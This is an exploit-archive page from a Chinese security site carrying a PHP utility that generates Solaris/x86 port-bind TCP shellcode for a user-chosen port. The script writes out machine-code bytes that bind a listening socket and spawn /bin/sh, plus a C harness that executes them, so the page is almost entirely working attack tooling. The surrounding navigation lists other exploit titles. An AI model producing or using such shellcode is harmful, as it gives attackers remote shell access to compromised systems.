首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
solaris/x86 portbind/tcp shellcode generator
来源:vfocus.net 作者:vfocus 发布时间:2009-06-17  
<?php
/*
Utility	: Solaris/x86 - Generate PortBind/TCP shellcode
Author	: Jonathan Salwan
Mail	: submit [!] shell-storm.org

	More shellcodes in => http://www.shell-storm.org/shellcode/
*/

function syntax()
	{
	echo "\nSyntax:\nroot@laptop:/# php ./payload.php <port>\n\n";
	}

function win32bind($port)
		{
		if($port > 65535 || $port < 4100){
			echo "Erreur Port\nSelect a port between 4100 and 65535\n";
			return false;
			}

		$inser .= "\nchar shellcode[] = \n";
		$inser .= "			/* BindPort TCP/$port; Os:Solaris; Gen:http://payload.shell-storm.org */\n";
		$inser .= "\n";

		$inser .= "			\x22\\xb8\\xff\\xf8\\xff\\x3c\\xf7\\xd0\\x50\\x31\\xc0\\xb0\\x9a\\x50\\x89\\xe5\\x31\\xc9\x22\n";
		$inser .= "			\x22\\x51\\x41\\x41\\x51\\x51\\xb0\\xe6\\xff\\xd5\\x31\\xd2\\x89\\xc7\\x52\\x66\\x68\x22\n";
		$inser .= "			\x22\\x";

		$res_port 	= base_convert($port, 10, 16);

		$length 	= strlen($res_port)-1;
		$i 		= 1;

		for($idx = 0; $idx < $length+1; $idx++)
		{
		$i++;
		if($i == 4)		
		$inser .= "\\x";

		$inser .= $res_port[$idx];
		}
		$inser .= "\x22 /* Port ".$port." */\n";
		$inser .= "			\x22\\x66\\x51\\x89\\xe6\\x6a\\x10\\x56\\x57\\xb0\\xe8\\xff\\xd5\\xb0\\xe9\\xff\\xd5\x22\n";
		$inser .= "			\x22\\x50\\x50\\x57\\xb0\\xea\\xff\\xd5\\x31\\xd2\\xb2\\x09\\x51\\x52\\x50\\xb0\\x3e\x22\n";
		$inser .= "			\x22\\xff\\xd5\\x49\\x79\\xf2\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\x22\n";
		$inser .= "			\x22\\x89\\xe3\\x50\\x53\\x89\\xe2\\x50\\x52\\x53\\xb0\\x3b\\xff\\xd5\x22\x3b\n";
		$inser .= "\n";
		$inser .= "	printf(\x22Length: %d\\n\x22,strlen(shellcode));\n";
		$inser .= "	(*(void(*)()) shellcode)();</br>";
		$inser .= "\n";
		$inser .= "\n";

	return $inser;
}

if($argc < 2){
	syntax();
	return false;
	}
		$port = $argv[1];
		echo win32bind($port);

?>

# [2009-06-16]

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·linux/x86 setreuid(geteuid(),g
·XOOPS <= 2.3.3 Remote File Dis
·Carom3D 5.06 Unicode Buffer Ov
·Multiple HTTP Server Low Bandw
·McAfee 3.6.0.608 naPolicyManag
·FretsWeb 1.2 (name) Remote Bli
·Green Dam 3.17 URL Processing
·compface <= 1.5.2 (XBM File) L
·Joomla Component com_jumi (fil
·DESlock+ 4.0.2 dlpcrypt.sys Lo
·The Recipe Script 5 Remote XSS
·Edraw PDF Viewer Component < 3
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved